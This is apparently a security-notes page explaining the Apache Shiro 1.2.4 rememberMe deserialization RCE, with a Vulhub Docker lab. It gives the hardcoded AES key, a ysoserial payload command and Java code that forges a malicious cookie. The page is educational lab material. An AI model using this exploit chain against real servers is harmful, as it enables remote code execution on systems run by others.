# Shiro

## Apache Shiro Deserialization RCE&#x20;

**Apache Shiro** is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management.

In order to maintain user's login status, Shiro implemented the `rememberMe` cookie. This cookie is encrypted. However, Shiro used a **hardcoded AES encryption key** `kPH+bIxk5D2deZiIxcaaaA==`. This allows an attacker to forge a cookie containing an malicious object that causes RCE. Shiro will then decrypt this cookie and deserialize it, and then the RCE payload will be triggered.

This is how `rememberMe` cookie is processed by the server side:

```
get rememberMe cookie -> Base64 decode -> AES decryption -> deserialization
```

This is how we achieve RCE by reversing the above logic:

```
serialized command -> AES encryption -> Base64 encode -> rememberMe cookie
```

{% hint style="info" %}
If you find `rememberMe=deleteMe` in a **failed login attempt**, then the web app is vulnerable to Shiro deserialization.
{% endhint %}

## Lab: Vulhub Apache Shiro 1.2.4 Deserialization RCE

### Setup

{% embed url="<https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437>" %}
Vulhub
{% endembed %}

Spawn a Docker instance:

```bash
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d
```

The vulnerable application will be hosted on `http://localhost:8080`. Log in with credential `admin:vulhub`.

Generate RCE payload using ysoserial:

```bash
ysoserial CommonsBeanutils1 "touch /tmp/success" > poc.ser
```

Encrypt the payload using the hardcoded key:

```java
package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}
```

Send the output as `rememberMe` cookie. Verify that the RCE works:

```bash
docker-compose exec web bash
ls -l /tmp
```

## Reference

{% embed url="<https://vulhub.org/#/environments/shiro/CVE-2016-4437/>" %}
Apache Shiro 1.2.4 Deserialization - Vulhub
{% endembed %}
